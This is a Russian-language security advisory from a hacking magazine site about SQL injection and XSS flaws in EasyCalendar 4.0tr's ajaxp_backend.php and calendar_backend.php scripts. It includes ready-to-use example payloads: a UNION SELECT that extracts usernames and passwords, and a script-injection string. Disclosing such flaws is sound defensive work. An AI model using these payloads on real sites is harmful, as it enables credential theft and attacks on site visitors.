Витрина продуктов

Все продукты →
  • Подписка на «Хакер»

    Все статьи, архив и бонусы

    6000 ₽ / год

    Оформить
  • Печатный журнал

    Легендарный в твоём формате

    710 ₽ / номер

    Купить
  • Онлайн-курсы

    Практические навыки от экспертов

    от 9000 ₽

    Выбрать

Программа: EasyCalendar 4.0tr

Уязвимость позволяет удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценариями ajaxp_backend.php и calendar_backend.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

http://localhost/PATH/ajaxp_backend.php?page=[BLIND]

[SQL]: 1+and+1%3D0

http://localhost/PATH/plugins/calendar/calendar_backend.php? pageec=dayview&month=2&year=-1[SQL]

[SQL]: -1+union+all+select+1,2,3,concat(username,char(54),password),5,6,7,8,9,0,1+from+dbpfixajaxp_users/*

Уязвимость существует из-за недостаточной обработки входных данных сценарием calendar_backend.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Пример:

http://localhost/PATH/plugins/calendar/calendar_backend.php? pageec=dayview&day=[XSS]

[XSS]: >'><ScRiPt%20%0a%0d>alert("JosS")%3B</ScRiPt>

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии